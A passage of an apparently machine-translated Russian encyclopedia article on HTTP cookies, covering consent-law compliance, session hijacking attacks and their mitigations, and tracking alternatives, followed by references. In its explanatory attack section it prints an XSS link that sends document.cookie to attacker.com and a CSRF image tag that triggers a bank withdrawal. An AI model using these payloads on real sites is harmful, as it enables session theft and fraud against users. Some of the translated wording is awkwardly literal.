Как академические исследования, так и регулирующие органы описывают широко распространенное несоблюдение закона. Исследование, охватывающее 10 000 веб-сайтов Великобритании, показало, что только 11,8% сайтов соблюдают минимальные юридические требования, и только 33,4% изученных веб-сайтов предоставляют механизм отклонения файлов cookie, который был так же прост в использовании, как и их принятие. [77] Исследование 17 000 веб-сайтов показало, что 84% сайтов нарушили этот критерий, а также выяснилось, что многие из них устанавливают сторонние файлы cookie без какого-либо уведомления. [83] Регулятор Великобритании, Управление комиссара по информации , заявил в 2019 году, что отраслевая «Система прозрачности и согласия», разработанная группой рекламных технологий Interactive Advertising Bureau, «недостаточна для обеспечения прозрачности и справедливой обработки рассматриваемых персональных данных и, следовательно, также недостаточна для обеспечить свободное и осознанное согласие с соответствующими последствиями для соблюдения PECR [конфиденциальности электронной почты]». [79] Многие компании, продающие решения по соблюдению требований (платформы управления согласием), разрешают их настройку явно незаконными способами, что, как отмечают ученые, создает вопросы относительно надлежащего распределения ответственности. [84]

Спецификация W3C под названием P3P была предложена для того, чтобы серверы сообщали свою политику конфиденциальности браузерам, обеспечивая автоматическую, настраиваемую пользователем обработку. Однако немногие веб-сайты реализуют эту спецификацию, и W3C прекратил работу над ней. [85]

Сторонние файлы cookie могут быть заблокированы большинством браузеров для повышения конфиденциальности и уменьшения отслеживания со стороны рекламных и отслеживающих компаний, не оказывая при этом негативного влияния на работу пользователя в Интернете на всех сайтах. На некоторых сайтах действуют «стены файлов cookie», которые обуславливают доступ к сайту разрешением использования файлов cookie либо технически в браузере, либо нажатием кнопки «Принять», либо и тем, и другим. [86] В 2020 году Европейский совет по защите данных , в состав которого входят все регуляторы ЕС по защите данных, заявил, что стены cookie являются незаконными.

Чтобы согласие было дано свободно, доступ к услугам и функциям не должен обуславливаться согласием пользователя на хранение информации или получением доступа к уже сохраненной информации в терминальном оборудовании пользователя (так называемое стены печенья). [87]

Многие рекламные операторы имеют возможность отказаться от поведенческой рекламы: общий файл cookie в браузере останавливает поведенческую рекламу. [88] [89] Однако это часто неэффективно против многих форм отслеживания, таких как собственное отслеживание, популярность которого растет, чтобы избежать влияния браузеров, блокирующих сторонние файлы cookie. [90] [91] Более того, если такую ​​настройку выполнить сложнее, чем принять отслеживание, это по-прежнему нарушает условия Директивы о конфиденциальности электронных данных. [77]

Большинство веб-сайтов используют файлы cookie в качестве единственных идентификаторов пользовательских сеансов, поскольку другие методы идентификации веб-пользователей имеют ограничения и уязвимости. Если веб-сайт использует файлы cookie в качестве идентификаторов сеанса, злоумышленники могут выдать себя за запросы пользователей, украв полный набор файлов cookie жертвы. С точки зрения веб-сервера, запрос злоумышленника имеет ту же аутентификацию, что и запросы жертвы; таким образом, запрос выполняется от имени сеанса жертвы.

Здесь перечислены различные сценарии кражи файлов cookie и захвата пользовательских сеансов (даже без кражи пользовательских файлов cookie), которые работают с веб-сайтами, полагающимися исключительно на файлы cookie HTTP для идентификации пользователя.

Сетевое подслушивание

Файл cookie может быть украден другим компьютером, которому разрешено чтение из сети.

Трафик в сети может быть перехвачен и прочитан компьютерами в сети, кроме отправителя и получателя (особенно через незашифрованный открытый Wi-Fi ). Этот трафик включает файлы cookie, отправленные в ходе обычных незашифрованных сеансов HTTP . Если сетевой трафик не зашифрован, злоумышленники могут читать сообщения других пользователей в сети, включая файлы cookie HTTP, а также все содержимое разговоров, с целью атаки «человек посередине» .

Злоумышленник может использовать перехваченные файлы cookie, чтобы выдать себя за пользователя и выполнить вредоносную задачу, например, перевести деньги с банковского счета жертвы.

Эту проблему можно решить, защитив связь между компьютером пользователя и сервером, используя безопасность транспортного уровня ( протокол HTTPS ) для шифрования соединения. Сервер может указать Secure при установке файла cookie, что приведет к тому, что браузер будет отправлять файлы cookie только по зашифрованному каналу, например, по TLS-соединению. [43]

Публикация ложного поддомена: отравление DNS-кеша

Если злоумышленник может заставить DNS-сервер кэшировать сфабрикованную запись DNS (так называемое отравление кэша DNS ), то это может позволить злоумышленнику получить доступ к файлам cookie пользователя. Например, злоумышленник может использовать отравление кэша DNS, чтобы создать сфабрикованную запись DNS с именем f12345.www.example.com это указывает на IP-адрес сервера злоумышленника. Затем злоумышленник может опубликовать URL-адрес изображения со своего сервера (например, http://f12345.www.example.com/img_4_cookie.jpg). Жертвы, прочитавшие сообщение злоумышленника, загрузили это изображение с f12345.www.example.com. С f12345.www.example.com является субдоменом www.example.com, браузеры жертв будут отправлять все example.comфайлы cookie, связанные с сервером злоумышленника.

Если злоумышленнику удается это сделать, обычно это вина интернет-провайдеров, которые не обеспечивают должным образом защиту своих DNS-серверов. Однако серьезность этой атаки можно уменьшить, если целевой веб-сайт использует защищенные файлы cookie. В этом случае злоумышленнику придется столкнуться с дополнительной проблемой. [92] получения TLS-сертификата целевого веб-сайта от центра сертификации , поскольку безопасные файлы cookie могут передаваться только по зашифрованному соединению. Без соответствующего сертификата TLS браузеры жертв будут отображать предупреждающее сообщение о недействительном сертификате злоумышленника, что поможет удержать пользователей от посещения мошеннического веб-сайта злоумышленника и отправки злоумышленнику своих файлов cookie.

Основная статья: Межсайтовый скриптинг

Файлы cookie также могут быть украдены с помощью метода, называемого межсайтовым скриптингом. Это происходит, когда злоумышленник пользуется веб-сайтом, который позволяет пользователям публиковать нефильтрованный HTML и JavaScript контент . Размещая вредоносный код HTML и JavaScript, злоумышленник может заставить веб-браузер жертвы отправлять файлы cookie жертвы на веб-сайт, контролируемый злоумышленником.

Например, злоумышленник может опубликовать сообщение на www.example.com по следующей ссылке: 

<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>
Межсайтовый скриптинг: файл cookie, которым должен обмениваться только сервер и клиент, отправляется другой стороне.

Когда другой пользователь нажимает на эту ссылку, браузер выполняет фрагмент кода внутри onclick атрибут, заменяя таким образом строку document.cookie со списком файлов cookie, доступных с текущей страницы. В результате этот список файлов cookie отправляется на attacker.com сервер. Если вредоносная публикация злоумышленника находится на веб-сайте HTTPS https://www.example.comбезопасные файлы cookie также будут отправлены на Attacker.com в виде обычного текста.

Ответственность за фильтрацию такого вредоносного кода лежит на разработчиках веб-сайта.

Такие атаки можно смягчить с помощью файлов cookie HttpOnly. Эти файлы cookie не будут доступны для языков сценариев на стороне клиента, таких как JavaScript, и, следовательно, злоумышленник не сможет собрать эти файлы cookie.

Межсайтовый скриптинг: запрос прокси

В старых версиях многих браузеров в реализации API XMLHttpRequest были дыры в безопасности . Этот API позволяет страницам указывать прокси-сервер, который будет получать ответ, и на этот прокси-сервер не распространяется политика одного и того же источника . Например, жертва читает публикацию злоумышленника на www.example.com, и скрипт злоумышленника выполняется в браузере жертвы. Скрипт генерирует запрос на www.example.com с прокси-сервером attacker.com. Поскольку запрос предназначен для www.example.com, все example.com файлы cookie будут отправлены вместе с запросом, но маршрутизированы через прокси-сервер злоумышленника. Следовательно, злоумышленник сможет получить файлы cookie жертвы.

Эта атака не будет работать с защищенными файлами cookie, поскольку они могут передаваться только через соединения HTTPS , а протокол HTTPS требует сквозного шифрования (т. е. информация шифруется в браузере пользователя и расшифровывается на целевом сервере). В этом случае прокси-сервер будет видеть только необработанные зашифрованные байты HTTP-запроса.

Подделка межсайтового запроса

Основная статья: Подделка межсайтового запроса

Например, Боб может просматривать чат-форум, где другой пользователь, Мэллори, разместил сообщение. Предположим, что Мэллори создал элемент изображения HTML, который ссылается на действие на веб-сайте банка Боба (а не на файл изображения), например: 

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Если банк Боба хранит его аутентификационную информацию в файле cookie и если срок действия файла cookie не истек, то при попытке браузера Боба загрузить изображение будет отправлена ​​форма вывода средств с его файлом cookie, тем самым авторизуя транзакцию без одобрения Боба.

Кукиджекинг

Cookiejacking — это атака на Internet Explorer , которая позволяет злоумышленнику украсть сеансовые файлы cookie пользователя, заставляя пользователя перетаскивать объект по экрану. [93] Microsoft сочла уязвимость малоопасной из-за «уровня необходимого взаимодействия с пользователем». [93] и необходимость наличия пользователя, уже авторизованного на веб-сайте, файлы cookie которого были украдены. [94] Несмотря на это, исследователь попробовал атаковать 150 их друзей в Facebook и получил файлы cookie от 80 из них с помощью социальной инженерии . [93]

Недостатки файлов cookie

Помимо проблем с конфиденциальностью, файлы cookie также имеют некоторые технические недостатки. В частности, они не всегда точно идентифицируют пользователей, их можно использовать для атак на безопасность, и они часто противоречат архитектурному стилю программного обеспечения передачи репрезентативного состояния ( REST ). [95] [96]

Неточная идентификация

Если на компьютере используется более одного браузера, каждый из них обычно имеет отдельную область хранения файлов cookie. Следовательно, файлы cookie идентифицируют не человека, а комбинацию учетной записи пользователя, компьютера и веб-браузера. Таким образом, любой, кто использует несколько учетных записей, компьютеров или браузеров, имеет несколько наборов файлов cookie. [97]

Аналогично, файлы cookie не различают нескольких пользователей, которые используют одну и ту же учетную запись , компьютер и браузер.

Альтернативы файлам cookie

Некоторые операции, которые можно выполнить с помощью файлов cookie, также можно выполнить с помощью других механизмов.

Аутентификация и управление сеансами

Веб-токены JSON

( Веб-токен JSON JWT) — это автономный пакет информации, который можно использовать для хранения информации об идентификации и подлинности пользователя. Это позволяет использовать их вместо сеансовых файлов cookie. В отличие от файлов cookie, которые автоматически прикрепляются к каждому HTTP-запросу браузера, JWT должны быть явно прикреплены к каждому HTTP-запросу веб-приложения.

HTTP-аутентификация

Протокол HTTP включает протоколы базовой аутентификации доступа и протоколы дайджест-аутентификации доступа , которые разрешают доступ к веб-странице только в том случае, если пользователь ввел правильное имя пользователя и пароль. Если серверу требуются такие учетные данные для предоставления доступа к веб-странице, браузер запрашивает их у пользователя и после получения сохраняет и отправляет их при каждом последующем запросе страницы. Эта информация может быть использована для отслеживания пользователя.

URL-адрес (строка запроса)

со строкой запроса Часть URL-адреса — это та часть, которая обычно используется для этой цели, но можно использовать и другие части. Механизмы сеансов Java Servlet и PHP используют этот метод, если файлы cookie не включены.

Этот метод заключается в добавлении веб-сервером строк запроса, содержащих уникальный идентификатор сеанса, ко всем ссылкам внутри веб-страницы. Когда пользователь переходит по ссылке, браузер отправляет строку запроса на сервер, позволяя серверу идентифицировать пользователя и поддерживать состояние.

Эти типы строк запроса очень похожи на файлы cookie, поскольку оба содержат произвольные фрагменты информации, выбранные сервером, и оба отправляются обратно на сервер при каждом запросе. Однако есть некоторые различия. Поскольку строка запроса является частью URL-адреса, если этот URL-адрес впоследствии используется повторно, на сервер будет отправлена ​​та же прикрепленная часть информации, что может привести к путанице. Например, если предпочтения пользователя закодированы в строке запроса URL-адреса, и пользователь отправляет этот URL-адрес другому пользователю по электронной почте , эти предпочтения также будут использоваться для этого другого пользователя.

Более того, если один и тот же пользователь обращается к одной и той же странице несколько раз из разных источников, нет гарантии, что каждый раз будет использоваться одна и та же строка запроса. Например, если пользователь посещает страницу, перейдя с внутренней страницы сайта в первый раз, а затем посещает ту же страницу, перейдя из внешней поисковой системы во второй раз, строки запроса, скорее всего, будут другими. Если бы в этой ситуации использовались файлы cookie, файлы cookie были бы такими же.

Другие недостатки строк запроса связаны с безопасностью. Хранение данных, идентифицирующих сеанс, в строке запроса позволяет осуществлять атаки фиксации сеанса , атаки с журналированием рефереров и другие уязвимости безопасности . Передача идентификаторов сеансов в виде файлов cookie HTTP более безопасна.

Скрытые поля формы

Другая форма отслеживания сеансов — использование веб-форм со скрытыми полями. Этот метод очень похож на использование строк запроса URL-адреса для хранения информации и имеет многие из тех же преимуществ и недостатков. Фактически, если форма обрабатывается с помощью метода HTTP GET, то этот метод аналогичен использованию строк запроса URL-адреса, поскольку метод GET добавляет поля формы к URL-адресу в виде строки запроса. Но большинство форм обрабатываются с помощью HTTP POST, что приводит к отправке информации формы, включая скрытые поля, в теле HTTP-запроса, которое не является ни частью URL-адреса, ни файлом cookie.

Этот подход дает два преимущества с точки зрения трекера. Во-первых, размещение информации об отслеживании в теле HTTP-запроса, а не в URL-адресе, означает, что обычный пользователь ее не заметит. Во-вторых, информация о сеансе не копируется, когда пользователь копирует URL-адрес (например, чтобы добавить страницу в закладки или отправить ее по электронной почте).

Свойство DOM window.name

Все современные веб-браузеры могут хранить довольно большой объем данных (2–32 МБ) через JavaScript с использованием DOM. свойства window.name. Эти данные можно использовать вместо файлов cookie сеанса. Этот метод можно объединить с объектами JSON /JavaScript для хранения сложных наборов переменных сеанса на стороне клиента.

Обратной стороной является то, что каждое отдельное окно или вкладка изначально будет пустым. window.name имущество при открытии.

В некоторых отношениях это может быть более безопасно, чем файлы cookie, поскольку его содержимое не отправляется автоматически на сервер при каждом запросе, как файлы cookie, поэтому он не уязвим для атак с перехватом сетевых файлов cookie.

Отслеживание

IP-адрес

Некоторые пользователи могут отслеживаться по IP-адресу компьютера, запрашивающего страницу. Сервер знает IP-адрес компьютера, на котором запущен браузер (или прокси-сервер , если таковой используется), и теоретически может связать сеанс пользователя с этим IP-адресом.

Однако IP-адреса, как правило, не являются надежным способом отслеживания сеанса или идентификации пользователя. Многие компьютеры, предназначенные для использования одним пользователем, например офисные или домашние компьютеры, находятся за транслятором сетевых адресов (NAT). Это означает, что несколько компьютеров будут использовать общий IP-адрес. Более того, некоторые системы, такие как Tor , предназначены для сохранения анонимности в Интернете , что делает отслеживание по IP-адресу непрактичным, невозможным или представляющим угрозу безопасности.

ETag

Основная статья: HTTP ETag § Отслеживание с помощью ETag

Поскольку ETag кэшируются браузером и возвращаются с последующими запросами одного и того же ресурса, сервер отслеживания может просто повторить любой ETag, полученный от браузера, чтобы гарантировать, что назначенный ETag сохраняется на неопределенный срок (аналогично постоянным файлам cookie). Дополнительные поля заголовка кэширования также могут улучшить сохранность данных ETag.

В некоторых браузерах ETags можно сбросить, очистив кеш браузера .

Кэш браузера

Основная статья: Веб-кэш

Кэш браузера также можно использовать для хранения информации, которую можно использовать для отслеживания отдельных пользователей. Этот метод использует тот факт, что веб-браузер будет использовать ресурсы, хранящиеся в кеше, вместо того, чтобы загружать их с веб-сайта, когда он определит, что в кеше уже имеется самая последняя версия ресурса.

Например, веб-сайт может предоставлять файл JavaScript с кодом, который устанавливает уникальный идентификатор пользователя (например, var userId = 3243242;). После первого посещения пользователя каждый раз, когда пользователь обращается к странице, этот файл будет загружаться из кеша, а не загружаться с сервера. Таким образом, его содержание никогда не изменится.

Отпечаток браузера

Основная статья: Отпечаток устройства

Отпечаток браузера — это информация, собираемая о конфигурации браузера, такая как номер версии, разрешение экрана и операционная система, с целью идентификации. Отпечатки пальцев могут использоваться для полной или частичной идентификации отдельных пользователей или устройств, даже если файлы cookie отключены.

Базовая информация о конфигурации веб-браузера уже давно собирается службами веб-аналитики с целью точно измерить реальный человеческий веб-трафик и исключить различные формы мошенничества с кликами . С помощью языков сценариев на стороне клиента возможен сбор гораздо более экзотических параметров. [98] [99] Объединение такой информации в одну строку представляет собой отпечаток устройства. В 2010 году EFF измерил как минимум 18,1 бит энтропии, возможной при снятии отпечатков пальцев браузера. [100] Снятие отпечатков пальцев на холсте , более новая технология, утверждает, что добавляет еще 5,7 бита.

Веб-хранилище

Основная статья: Веб-хранилище

Некоторые веб-браузеры поддерживают механизмы сохранения, которые позволяют странице хранить информацию локально для последующего использования.

Стандарт HTML5 (который в некоторой степени поддерживает большинство современных веб-браузеров) включает API JavaScript, называемый веб-хранилищем , который поддерживает два типа хранилища: локальное хранилище и хранилище сеансов. Локальное хранилище ведет себя аналогично постоянным файлам cookie , в то время как хранилище сеансов ведет себя аналогично сеансовым файлам cookie , за исключением того, что хранилище сеанса привязано к сроку существования отдельной вкладки/окна (также известному как сеанс страницы), а не ко всему сеансу браузера, как файлы cookie сеанса. [101]

Internet Explorer поддерживает постоянную информацию [102] в истории браузера, в избранном браузере, в хранилище XML («пользовательские данные») или непосредственно на веб-странице, сохраненной на диске.

Некоторые плагины веб-браузера также включают механизмы сохранения. Например, Adobe Flash имеет локальный общий объект , а Microsoft Silverlight — изолированное хранилище. [103]

См. также

Ссылки

  1. ^ «Что такое файлы cookie? Каковы различия между ними (сессионные и постоянные)?» . Циско . 17 июля 2018 г. 117925.
  2. ^ Перейти обратно: а б Вамози, Роберт (14 апреля 2008 г.). «Файл cookie Gmail украден через таблицы Google» . News.cnet.com . Архивировано из оригинала 9 декабря 2013 года . Проверено 19 октября 2017 г.
  3. ^ «А как насчет «Директивы ЕС о файлах cookie»?» . WebCookies.org. 2013. Архивировано из оригинала 11 октября 2017 года . Проверено 19 октября 2017 г.
  4. ^ «Новые сетевые правила запрещают использование файлов cookie» . Би-би-си . 8 марта 2011 г. Архивировано из оригинала 10 августа 2018 г. . Проверено 21 июня 2018 г.
  5. ^ «Сенатор Рокфеллер: будьте готовы к настоящему законопроекту о запрете отслеживания интернет-рекламы» . Adage.com . 6 мая 2011 года. Архивировано из оригинала 24 августа 2011 года . Проверено 2 июня 2011 г.
  6. ^ «Откуда файлы cookie :: DominoPower» . dominopower.com . Архивировано из оригинала 19 октября 2017 года . Проверено 19 октября 2017 г.
  7. ^ Раймонд, Эрик (ред.). «волшебное печенье» . Файл жаргона (версия 4.4.7) . Архивировано из оригинала 6 сентября 2017 года . Проверено 8 сентября 2017 г.
  8. ^ Шварц, Джон (4 сентября 2001 г.). «Предоставление Интернету затрат на память и конфиденциальность пользователей» . Нью-Йорк Таймс . Архивировано из оригинала 18 ноября 2011 года . Проверено 19 февраля 2017 г.
  9. ^ Перейти обратно: а б Кесан, Джей; Шах, Раджив (19 августа 2018 г.). «Деконструкция кода». Йельский журнал права и технологий . 6 : 277–389. ССНР   597543 .
  10. ^ Перейти обратно: а б с Кристол, Дэвид М. (2001). «HTTP-файлы cookie: стандарты, конфиденциальность и политика». Транзакции ACM по Интернет-технологиям . 1 (2). Ассоциация вычислительной техники (ACM): 151–198. arXiv : cs/0105018 . дои : 10.1145/502152.502153 . ISSN   1533-5399 . S2CID   1848140 .
  11. ^ «Пресс-релиз: Netscape Communications предлагает новый бесплатный сетевой навигатор в Интернете» . Архивировано из оригинала 7 декабря 2006 года . Проверено 22 мая 2010 г.
  12. ^ «Сообщение Usenet Марка Андриссена: Вот он, мир!» . 13 октября 1994 года. Архивировано из оригинала 27 апреля 2011 года . Проверено 22 мая 2010 г.
  13. ^ US 5774670 , Монтулли, Лу, «Постоянное состояние клиента в системе клиент-сервер на основе протокола передачи гипертекста», опубликовано 30 июня 1998 г., передано Netscape Communications Corp.  
  14. ^ Хардмайер, Санди (25 августа 2005 г.). «История Internet Explorer» . Майкрософт. Архивировано из оригинала 1 октября 2005 года . Проверено 4 января 2009 г.
  15. ^ Джексон, Т. (12 февраля 1996 г.). «Эта ошибка на вашем компьютере — умный файл cookie». Файнэншл Таймс .
  16. ^ Перейти обратно: а б РФК 2109 . сек. 8.3. дои : 10.17487/RFC2109 .
  17. ^ «Настройка файлов cookie» . Staff.washington.edu . 19 июня 2009 года. Архивировано из оригинала 16 марта 2017 года . Проверено 15 марта 2017 г.
  18. ^ В документации edbrowse версии 3.5 говорится: «Обратите внимание, что поддерживаются только файлы cookie в стиле Netscape. Однако это наиболее распространенный вариант файлов cookie. Вероятно, он удовлетворит ваши потребности». Этот абзац был удален в более поздних версиях документации, заархивированной 16 марта 2017 г. на Wayback Machine, в связи с прекращением поддержки RFC 2965.
  19. ^ Ходжес, Джефф; Корри, Бил (6 марта 2011 г.). « Механизм управления состоянием HTTP» в соответствии с предлагаемым стандартом» . Практика безопасности . Архивировано из оригинала 7 августа 2016 года . Проверено 17 июня 2016 г.
  20. ^ «Set-Cookie2 — HTTP | MDN» . http://developer.mozilla.org . Проверено 8 марта 2021 г.
  21. ^ «Описание постоянных и сеансовых файлов cookie в Internet Explorer» . support.microsoft.com . 24 января 2007 г. Архивировано из оригинала 25 сентября 2011 г.
  22. ^ «Поддержание состояния сеанса с помощью файлов cookie» . Сеть разработчиков Microsoft . Архивировано из оригинала 14 октября 2012 года . Проверено 22 октября 2012 г.
  23. ^ Бульези, Микеле; Кальзавара, Стефано; Фокарди, Риккардо; Хан, Вилаят (16 сентября 2015 г.). «CookiExt: исправление браузера от атак перехвата сеанса» . Журнал компьютерной безопасности . 23 (4): 509–537. дои : 10.3233/JCS-150529 . hdl : 10278/3663357 .
  24. ^ « Атрибут cookie 'SameSite', статус платформы Chrome» . Chromestatus.com . Архивировано из оригинала 9 мая 2016 года . Проверено 23 апреля 2016 г.
  25. ^ Гудвин, М.; Запад (20 июня 2016 г.). «Файлы cookie того же сайта Draft-ietf-httpbis-cookie-same-site-00» . Ietf Datatracker . Архивировано из оригинала 16 августа 2016 года . Проверено 28 июля 2016 г.
  26. ^ «Использование атрибута cookie того же сайта для предотвращения атак CSRF» . www.netsparker.com . 23 августа 2016 года . Проверено 5 апреля 2021 г.
  27. ^ «Требовать «Безопасный» для «SameSite=None». автор miketaylr · Запрос на извлечение № 1323 · httpwg/http-extensions» . Гитхаб . Проверено 5 апреля 2021 г.
  28. ^ Уэст, Майк; Виландер, Джон (7 декабря 2020 г.). Файлы cookie: механизм управления состоянием HTTP (отчет). Рабочая группа по интернет-инжинирингу.
  29. ^ «Тестирование совместимости браузера атрибута cookie SameSite» .
  30. ^ «Изменения файлов cookie SameSite в феврале 2020 года: что вам нужно знать» . Блог Хрома . Проверено 5 апреля 2021 г.
  31. ^ «Временно откат изменений файлов cookie SameSite» . Блог Хрома . Проверено 5 апреля 2021 г.
  32. ^ Шу, Джастин (28 мая 2020 г.). «Возобновление изменений файлов cookie SameSite в июле» . Блог Хрома . Проверено 18 февраля 2024 г.
  33. ^ «Подробнее о списке общедоступных суффиксов» . Publicsuffix.org . Архивировано из оригинала 14 мая 2016 года . Проверено 28 июля 2016 г.
  34. ^ Майер, Джонатан (19 августа 2011 г.). «Отслеживание трекеров: реклама Microsoft» . Центр Интернета и общества. Архивировано из оригинала 26 сентября 2011 года . Проверено 28 сентября 2011 г.
  35. ^ Виджаян, Джайкумар (19 августа 2011 г.). «Microsoft отключает «суперкуки», используемые посетителями MSN.com» . Компьютерный мир . Архивировано из оригинала 27 ноября 2014 года . Проверено 23 ноября 2014 г.
  36. ^ Энглхардт, Стивен; Эдельштейн, Артур (26 января 2021 г.). «Firefox 85 борется с суперкуки» . Блог о безопасности Mozilla . Архивировано из оригинала 25 февраля 2024 года.
  37. ^ Ангвин, Джулия ; Тигас, Майк (14 января 2015 г.). «Печенье-зомби: отслеживающее печенье, которое невозможно убить» . ПроПублика . Проверено 1 ноября 2020 г.
  38. ^ Штольце, Конрад (11 июня 2011 г.). «Печенье, которое не раскрошится!» . Журнал 24х7 . Проверено 1 ноября 2020 г.
  39. ^ Пэн, Вэйхун; Сисна, Дженнифер (2000). «HTTP-файлы cookie: многообещающая технология». ПроКвест . Интернет-обзор информации. ПроКвест   194487945 .
  40. ^ Джим Манико цитирует Дэниела Стенберга, Реальные ограничения на длину файлов cookie. Архивировано 2 июля 2013 г. на Wayback Machine.
  41. ^ Ли, Вэй-Бин; Чен, Син-Бай; Чанг, Шун-Шян; Чен, Цунг-Хер (25 января 2019 г.). «Безопасная и эффективная защита файлов cookie HTTP с самопроверкой» . Международный журнал систем связи . 32 (2): e3857. дои : 10.1002/dac.3857 . S2CID   59524143 .
  42. ^ Рейни, Ли (2012). Сетевые: новая социальная операционная система. п. 237
  43. ^ Перейти обратно: а б Механизм управления состоянием HTTP . дои : 10.17487/RFC6265 . РФК 6265 .
  44. ^ «Постоянные файлы cookie состояния клиента HTTP: предварительная спецификация» . Нетскейп. в. 1999. Архивировано из оригинала 5 августа 2007 года.
  45. ^ «Свойство файлов cookie» . MSDN . Майкрософт. Архивировано из оригинала 5 апреля 2008 года . Проверено 4 января 2009 г.
  46. ^ Шеннон, Росс (26 февраля 2007 г.). «Файлы cookie. Устанавливайте и получайте информацию о ваших читателях» . HTMLИсточник. Архивировано из оригинала 24 августа 2011 года . Проверено 4 января 2009 г.
  47. ^ Барт, А. Механизм управления состоянием HTTP, Атрибут пути . сек. 4.1.2.4. дои : 10.17487/RFC6265 . РФК 6265 .
  48. ^ Барт, А. (март 2014 г.). RFC 6265, Механизм управления состоянием HTTP, Сопоставление доменов . сек. 5.1.3. дои : 10.17487/RFC6265 . РФК 6265 .
  49. ^ Барт, А. (март 2014 г.). RFC 6265, Механизм управления состоянием HTTP, Атрибут домена . сек. 4.1.2.3. дои : 10.17487/RFC6265 . РФК 6265 .
  50. ^ «Внутреннее устройство файлов cookie Internet Explorer (часто задаваемые вопросы)» . 21 ноября 2018 г.
  51. ^ Кристол, Д.; Монтулли, Л. (март 2014 г.). RFC 2109, Механизм управления состоянием HTTP, синтаксис Set-Cookie . сухой. 4.2.2. дои : 10.17487/RFC2109 . S2CID   6914676 . РФК 2109 .
  52. ^ Барт, А. (2011). RFC 6265, Механизм управления состоянием HTTP . сек. 5.1.1. дои : 10.17487/RFC6265 . РФК 6265 .
  53. ^ «Совместимость спецификации файлов cookie в современных браузерах» . inikulin.github.io . 2016. Архивировано из оригинала 2 октября 2016 года . Проверено 30 сентября 2016 г.
  54. ^ Коулз, Питер. «HTTP Cookies: в чем разница между максимальным сроком действия и сроком действия? – Питер Коулз» . Mrcoles.com . Архивировано из оригинала 29 июля 2016 года . Проверено 28 июля 2016 г.
  55. ^ Отчет Symantec об угрозах интернет-безопасности: тенденции за июль – декабрь 2007 г. (краткое содержание) (PDF) (отчет). Том. XIII. Symantec Corp., апрель 2008 г., стр. 1–3. Архивировано из оригинала (PDF) 25 июня 2008 года . Проверено 11 мая 2008 г.
  56. ^ Уэлен, Дэвид (8 июня 2002 г.). «Неофициальный FAQ по файлам cookie, версия 2.6» . Центр файлов cookie. Архивировано из оригинала 24 августа 2011 года . Проверено 4 января 2009 г.
  57. ^ «Как управлять файлами cookie в Internet Explorer 6» . Майкрософт. 18 декабря 2007 г. Архивировано из оригинала 28 декабря 2008 г. Проверено 4 января 2009 г.
  58. ^ «Очистка личных данных» . База знаний поддержки Firefox . Мозилла. 16 сентября 2008 г. Архивировано из оригинала 3 января 2009 г. . Проверено 4 января 2009 г.
  59. ^ «Очистить личную информацию: Очистить данные просмотра» . Справка Google Chrome . Архивировано из оригинала 11 марта 2009 года . Проверено 4 января 2009 г.
  60. ^ «Очистить личную информацию: удалить файлы cookie» . Справка Google Chrome . Архивировано из оригинала 11 марта 2009 года . Проверено 4 января 2009 г.
  61. ^ «Сторонние домены» . WebCookies.org. Архивировано из оригинала 9 декабря 2014 года . Проверено 7 декабря 2014 г.
  62. ^ «Количество файлов cookie» . WebCookies.org. Архивировано из оригинала 9 декабря 2014 года . Проверено 7 декабря 2014 г.
  63. ^ Статт, Ник (24 марта 2020 г.). «Apple обновляет технологию защиты от отслеживания Safari, добавив полную блокировку сторонних файлов cookie» . Грань . Проверено 24 июля 2020 г.
  64. ^ «Firefox по умолчанию начинает блокировать сторонние файлы cookie» . ВенчурБит . 4 июня 2019 года . Проверено 24 июля 2020 г.
  65. ^ Храбрый (6 февраля 2020 г.). «ОК, Google, не откладывай настоящую конфиденциальность браузера до 2022 года» . Храбрый браузер . Проверено 24 июля 2020 г.
  66. ^ Проталинский, Эмиль (19 мая 2020 г.). «Chrome 83 поставляется с измененными настройками безопасности, сторонние файлы cookie заблокированы в режиме инкогнито» . ВенчурБит . Проверено 25 июня 2020 г.
  67. ^ Амадео, Рон (24 апреля 2024 г.). «Google не может отключить сторонние файлы cookie — задержки прекращаются в третий раз» . Арс Техника . Проверено 25 апреля 2024 г.
  68. ^ Лоулер, Ричард (22 июля 2024 г.). «План Google по отключению сторонних файлов cookie в Chrome умирает» . Грань . Проверено 29 июля 2024 г.
  69. ^ Миядзаки, Энтони Д. (2008), «Конфиденциальность в Интернете и раскрытие использования файлов cookie: влияние на доверие потребителей и ожидаемый патронаж», Журнал государственной политики и маркетинга, 23 (весна), 19–33.
  70. ^ «Шпионское агентство удаляет файлы незаконного отслеживания» . Нью-Йорк Таймс . 29 декабря 2005 г. Архивировано из оригинала 12 ноября 2011 г. Проверено 19 февраля 2017 г.
  71. ^ «Директива ЕС о файлах cookie, Директива 2009/136/EC» . Юридическая информация JISC. Архивировано из оригинала 18 декабря 2012 года . Проверено 31 октября 2012 г.
  72. ^ Перейти обратно: а б Положения о конфиденциальности и электронных коммуникациях . Управление комиссара по информации. 2012. Архивировано из оригинала 30 октября 2012 года . Проверено 31 октября 2012 г.
  73. ^ «Файлы cookie и подобные технологии» . ico.org.uk. ​1 января 2021 года . Проверено 6 июня 2021 г.
  74. ^ Перейти обратно: а б «ЕВР-Лекс — 62017CN0673 — RU — ЕВРО-Лекс» . eur-lex.europa.eu . Проверено 6 июня 2021 г.
  75. ^ Перейти обратно: а б Вил, Майкл; Зейдервен Боргезиус, Фредерик (1 апреля 2021 г.), Рекламные технологии и торги в реальном времени в соответствии с Европейским законом о защите данных , doi : 10.31235/osf.io/wg8fq , hdl : 2066/253518 , S2CID   243311598
  76. ^ Зейдервен Боргезиус, Фредерик Дж. (август 2015 г.). «Обработка персональных данных в целях поведенческого таргетинга: какое правовое основание?» . Международный закон о конфиденциальности данных . 5 (3): 163–176. дои : 10.1093/idpl/ipv011 . ISSN   2044-3994 .
  77. ^ Перейти обратно: а б с д Нувенс, Мидас; Ликкарди, Илария; Вил, Майкл; Каргер, Дэвид; Кагал, Лалана (21 апреля 2020 г.). «Темные закономерности после GDPR: очистка всплывающих окон с согласием и демонстрация их влияния» . Материалы конференции CHI 2020 года по человеческому фактору в вычислительных системах . Чи '20. Гонолулу, штат Гавайи, США: ACM. стр. 1–13. arXiv : 2001.02479 . дои : 10.1145/3313831.3376321 . hdl : 1721.1/129999 . ISBN  978-1-4503-6708-0 . S2CID   210064317 .
  78. ^ Перейти обратно: а б «ЕВР-Лекс-32016R0679-RU-ЕВР-Лекс» . eur-lex.europa.eu . Проверено 6 июня 2021 г.
